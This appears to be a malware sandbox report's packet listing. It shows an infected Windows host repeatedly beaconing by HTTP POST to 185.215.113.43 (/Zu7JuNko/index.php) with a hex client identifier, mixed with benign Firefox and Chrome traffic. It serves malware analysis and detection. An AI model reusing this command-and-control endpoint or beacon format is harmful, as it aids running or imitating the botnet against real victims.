r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:00.558150053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50269	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:02.310348034 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:34:03.636419058 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50270	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:05.274679899 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50271	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:07.412183046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:34:08.754369020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	50272	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:10.401237011 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:11.737215996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50274	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:15.025549889 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50275	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:16.796328068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:34:18.137768984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50276	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:19.770277977 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:21.108545065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50277	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:22.851911068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:34:24.220312119 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50278	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:25.868549109 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:27.219029903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50279	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:28.965010881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50280	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:30.611700058 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:31.974997044 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50281	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:33.725351095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:34:35.057116985 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50282	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:36.682154894 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:38.028382063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50283	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:39.778268099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:34:41.118709087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50284	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:42.755671978 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:44.108198881 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50287	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:45.521563053 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:34:46.640989065 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 12:18:23 GMT Age: 26183 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:34:56.666182041 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:06.802258015 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:10.782777071 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 9, 2024 20:35:11.098453045 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 12:18:23 GMT Age: 26207 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 9, 2024 20:35:21.176790953 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:31.372781992 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:41.566621065 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:51.762149096 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:36:01.978028059 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:36:12.173989058 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50288	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:45.852668047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:34:47.264666080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50289	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:46.764311075 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:34:47.863729954 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 02:26:01 GMT Age: 61726 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:34:57.912703991 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:08.104976892 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:11.105911016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 9, 2024 20:35:11.421169996 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 09 Dec 2024 02:26:01 GMT Age: 61750 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 9, 2024 20:35:21.498620033 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:31.714751959 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:41.908607006 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:35:52.104163885 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:36:02.299613953 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 9, 2024 20:36:12.514280081 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50290	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:34:48.907202005 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:34:50.261720896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:34:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	142.250.181.68	443	7920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:27:26 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 19:27:27 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:27:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-58MEyks3gwH3Id9oh55nLQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 19:27:27 UTC	124	IN	Data Raw: 31 35 35 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 74 72 61 63 6b 65 72 20 6e 65 77 20 65 70 69 73 6f 64 65 73 22 2c 22 6d 61 72 76 65 6c 20 72 69 76 61 6c 73 20 6c 65 61 6b 65 64 20 63 68 61 72 61 63 74 65 72 73 22 2c 22 61 72 69 7a 6f 6e 61 20 73 74 61 74 65 20 63 61 6d 20 73 6b 61 74 74 65 62 6f 22 2c 22 62 6c 61 63 6b 20 64 6f 76 65 73 20 77 68 6f 20 6b 69 6c 6c 65 Data Ascii: 1555)]}'["",["tracker new episodes","marvel rivals leaked characters","arizona state cam skattebo","black doves who kille
